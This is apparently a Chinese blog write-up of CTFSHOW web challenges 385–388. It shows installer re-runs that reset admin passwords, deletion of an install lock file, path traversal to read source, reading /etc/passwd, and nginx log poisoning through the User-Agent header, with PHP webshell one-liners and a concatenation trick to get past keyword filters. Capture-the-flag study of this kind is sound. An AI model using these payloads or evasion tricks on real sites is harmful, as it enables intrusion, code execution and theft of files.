CTFSHOW web入门 黑盒测试 web385-web388

目录

web385

web386

web387

web388


web385

和上一题的步骤一样,打开页面源代码

访问/alsckdfy

还是那个登录窗口,思路和上一题应该是不一样的

目录扫描发现了新东西

/install

访问/install

通过返回的信息能够知道,需要访问install/?install,然后重新安装

https://333ab657-fac8-418e-87bc-27bae1f759fa.challenge.ctf.show/install/?install

安装好了,管理员密码被重置为默认密码了

返回登录框,使用 admin/admin888 进行登录,

这是第一次做web383 对这个登录框进行爆破的时候得到的密码

ctfshow{b4b4f022-5b6b-4af8-b66f-ccbcdc93a6cd}

web386

还是这个路径

/alsckdfy

目录扫描下

访问 install

返回:lock.dat存在,你已经安装过了,请勿重复安装

这个 lock.dat 是安装锁文件,很多 CMS 都有

lock.dat 本质的作用是告诉系统,CMS 已经安装完成了

攻击者可以通过删除安装锁,重新安装"安装锁",来重置后台密码,来进入后台找到 flag

访问/intstall/lock.dat,下载到了 lock.dat 这个文件

打开 lock.dat,里面是一个 OK,说明这个安装锁是安装好的

访问/clear.php

返回清理完成

通过测试,能够通过 clear.php 将 lock.dat 删除掉

clear.php?file=/var/www/html/install/lock.dat

这个网站使用的服务器是 nginx 服务器

/var/www/html/ 是 Linux web 服务器的网站根目录

再次访问/install

需要通过访问 install/?install,来重新安装 ,然后重置管理员密码为默认密码

/install/?install

默认密码是 admin/admin888

ctfshow{b98063a3-a2df-44e6-9557-82cc5d1f6c57}

第二种方法

通过目录扫描得到的路径

访问/page.php

通过对这个返回路径进行分析测试,知道了这里有路径穿越漏洞

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/page

查看源码

知道了 page.php 的源码

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/install/index

访问/install/index

查看源码

复制代码
error_reporting(0);
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow";
$charName = "utf-8"; 
$file = 'lock.dat';
if(file_exists($file)){  //判断这个路径的文件是否存在,
	die('lock.dat存在,你已经安装过了,请勿重复安装');
}
echo '请务必在安装成功后删除本文件';
echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码';
if(isset($_GET['install'])){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$sql = "update admin_user set username='admin',password='admin888' where username='admin';";
	$result = $conn->query($sql);
	echo '<br>安装成功,请立即删除本文件';

}

在登录框进行登录的时候会返回这个路径,如果账户密码正确,登录进去就能够看到 flag

对 /alsckdfy/check.php 路径进行目录穿越

对这个路径访问下

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/alsckdfy/check

查看源码,得到 flag

$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';

复制代码
<?php
  
error_reporting(0);
require_once "config.php";
$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';
$u=$_POST['u'];
$p=$_POST['p'];
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn->query("set name $charName");
	$num = 1;
	$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>$num,
		"data"=>array()
	);
	if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){
				die('error');
					}
		if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){
					die('error');
						}
	$sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';";
	$result = $conn->query($sql);


	if($row = $result->fetch_object()){
		echo $flag;
	}else{
		echo 'error';
	}
}else{
	die('error');
}


?>

web387

题目提示说前面部分和上一题是一样的

前面部分和386一样

目录扫描一波

和上一题一样,对 /var/www/html/install/lock.dat 进行删除

发现并不行,这里做了限制,不让删除安装文件

/robots.txt 中的是/debug 路径

/debug

返回文件不存在

通过尝试,发现能够读取文件

/debug/?file=/etc/passwd

测试是否有文件包含漏洞

/debug/?file=/var/log/nginx/access.log

/var/log/nginx/access.log 是 Nginx 的访问日志文件

这一题使用的服务器是 nginx1.20.1,后端语言是 php7.3.22

这里日志都能够访问,通过 UA 头写入木马,来获取 flag

为什么通过 UA 头写入木马呢,因为 UA 头是可控的

<?=system('cat ../alsckdfy/check.php > 111.txt')?>

使用 system 函数执行,直接读取 flag 的存放文件位置,然后将读取出来的内容存放到 111.txt 中

访问/debug/111.txt

得到 flag

$flag='ctfshow{e4bb64c0-24f3-4e53-83d4-6ac58c286ae3}';

web388

目录扫描

和上一题差不多

访问

/debug/?file=/etc/passwd

返回测试结果已写入日志,这说明还是能够通过将木马写入到日志中去执行读取 flag 的

抓这个路径的包,然后通过 UA 头写入木马,放包

/debug/?file=/var/log/nginx/access.log

有过滤,上一题的木马不能够使用了

使用这个拼接绕过关键字检测的木马

User-Agent: <?php a="she"."ll_exec";b="cat ../alsckdfy/check.php > 111.txt";a(b);?>

访问

/debug/111.txt

复制代码
$flag='ctfshow{9c1d6e2d-e151-485f-a8d9-9942f41798da}';
相关推荐
审判长烧鸡3 小时前
【Go工具】go-playground除了validator还有哪些常用的库
go·web
大数据魔法师16 小时前
Streamlit(二)- Streamlit 架构与运行机制
python·web
大数据魔法师16 小时前
Streamlit(三)- Streamlit 多页面应用开发
python·web
其实防守也摸鱼2 天前
ctfshow--Crypto(funnyrsa1-密码2)解题步骤
python·安全·web安全·网络安全·密码学·web·工具
曲幽2 天前
你的Agent API还在裸奔?从认证到沙箱,我用FastAPI搭了几道防线
python·fastapi·web·security·jwt·oauth2·limit·sandbox·ai agent
hhhhde_2 天前
CTFSHOW web入门 黑盒测试 web380-web384
web·黑盒测试·ctfshow
爱学习的程序媛3 天前
浏览器工作原理全景解析
前端·浏览器·web
还是鼠鼠3 天前
AI掘金头条新闻系统 (Toutiao News)-获取新闻分类
后端·python·mysql·fastapi·web
fanzhonghong4 天前
javaWeb开发之前端实战(Tlias案例-部门管理)
前端·后端·web·前后端分离